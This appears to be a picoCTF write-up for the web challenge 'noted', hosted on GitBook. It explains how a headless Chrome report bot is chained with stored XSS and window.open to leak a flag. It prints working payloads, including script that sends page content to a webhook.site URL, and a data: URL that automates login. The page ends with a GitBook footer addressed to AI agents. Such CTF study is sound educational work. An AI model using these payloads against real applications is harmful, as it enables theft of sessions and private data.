> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/noted.md).

# noted

### Noted — PicoCTF Walkthrough (Web Exploitation) | “Noted”

Detailed walkthrough - <https://medium.com/@alhamrizvi.in/noted-picoctf-walkthrough-web-exploitation-by-alham-rizvi-3dee3fd87f10>

This challenge is a web application where users can create notes and submit URLs to a “report” feature. The report function opens the submitted URL inside a headless Chrome instance (bot/admin). The goal is to abuse this browser behavior to execute JavaScript and exfiltrate sensitive data (flag) from the admin session.

### Source Code Overview

The backend is built using Fastify with session authentication, CSRF protection, and a SQLite database (via Sequelize). Users can register, log in, and create notes. Notes are stored without sanitization, which allows HTML/JavaScript injection depending on how they are rendered.

A key part of the system is the report endpoint:

```js
fastify.post('/report', {
  schema: reportSchema,
  preHandler: fastify.csrfProtection
}, auth((req, res) => {
  let { url } = req.body;

  if (report.open) {
    return res.send('Only one browser can be open at a time!');
  } else {
    report.run(url);
  }

  return res.send('URL has been reported.');
}));
```

The important observation is that the user-controlled `url` is passed directly into `report.run(url)` without validation. This function is executed inside a headless Chrome (Puppeteer) instance.

From the Dockerfile:

```bash
ENV PUPPETEER_EXECUTABLE_PATH=/usr/bin/google-chrome
```

This confirms a real Chrome browser is used in headless mode to visit attacker-supplied URLs.

***

### Key Vulnerability

The main vulnerability is:

* A **headless Chrome bot visits attacker-controlled URLs**
* The bot runs in a **same-origin context**
* JavaScript can access other windows via `window.open()`
* No input sanitization on note content or URL handling

This allows XSS + cross-window DOM access + data exfiltration.

***

### Exploitation Strategy

The attack relies on chaining three behaviors:

1. Bot opens attacker-controlled page via `/report`
2. A second window (`pico`) is opened pointing to `/notes`
3. JavaScript reads content from that window and sends it to a webhook

***

### Step 1: Data Extraction (XSS Payload)

This payload triggers when `run_xss` is present in the URL. It accesses a previously opened window named `"pico"` and extracts its DOM content:

```html
<script>
if (window.location.search.includes("run_xss")) {
    window.location =
      "https://webhook.site/your-id?" +
      window.open("", "pico").document.body.textContent
}
</script>
```

#### What happens here:

* `window.open("", "pico")` reuses an already opened window named `pico`
* That window contains `/notes` page with the flag
* `document.body.textContent` extracts visible content (flag)
* The page redirects to webhook with flag in URL

This is the actual **data exfiltration step**.

***

### Step 2: Full Automation Payload (data URL)

This payload is submitted to `/report`. It automates login, window setup, and XSS triggering:

```html
data:text/html,
<form action="http://0.0.0.0:8080/login" method="POST" id="login_form" target="_blank">
  <input type="text" name="username" value="a">
  <input type="text" name="password" value="a">
</form>

<script>
  window.open("http://0.0.0.0:8080/notes", "pico");

  setTimeout(() => {
    login_form.submit();
  }, 1000);

  setTimeout(() => {
    window.location = "http://0.0.0.0:8080/notes?run_xss";
  }, 2000);
</script>
```

#### What happens here:

1. `window.open("/notes", "pico")`
   * Opens notes page in named window `"pico"`
   * This is where the flag will be exposed later
2. Form submission (`login_form.submit()`)
   * Logs into a controlled account
   * Uses real browser session handling (cookies included)
3. Redirect to `/notes?run_xss`
   * Triggers the XSS payload from Step 1
   * Executes exfiltration logic

***

### Why This Exploit Works

The exploit works due to a combination of design flaws:

* Headless Chrome executes attacker-controlled pages automatically
* `window.open()` allows cross-window interaction using names
* Same-origin policy permits DOM access between windows
* `/report` blindly loads user-provided URLs in a privileged browser session
* No sanitization or sandboxing of note/XSS content

***

### Final Result

When the report URL is submitted:

* Bot logs in
* Opens `/notes` in `"pico"` window
* Executes attacker-controlled JS
* Extracts flag from DOM
* Sends it to webhook

The flag is successfully exfiltrated without direct user interaction.

### Summary

This challenge demonstrates a classic chain:

**Headless browser + window\.open + same-origin access + unsanitized input = full data exfiltration**

The exploitation does not rely on breaking authentication directly, but instead abuses how the admin bot interacts with attacker-controlled JavaScript in a trusted browsing context.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/noted.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.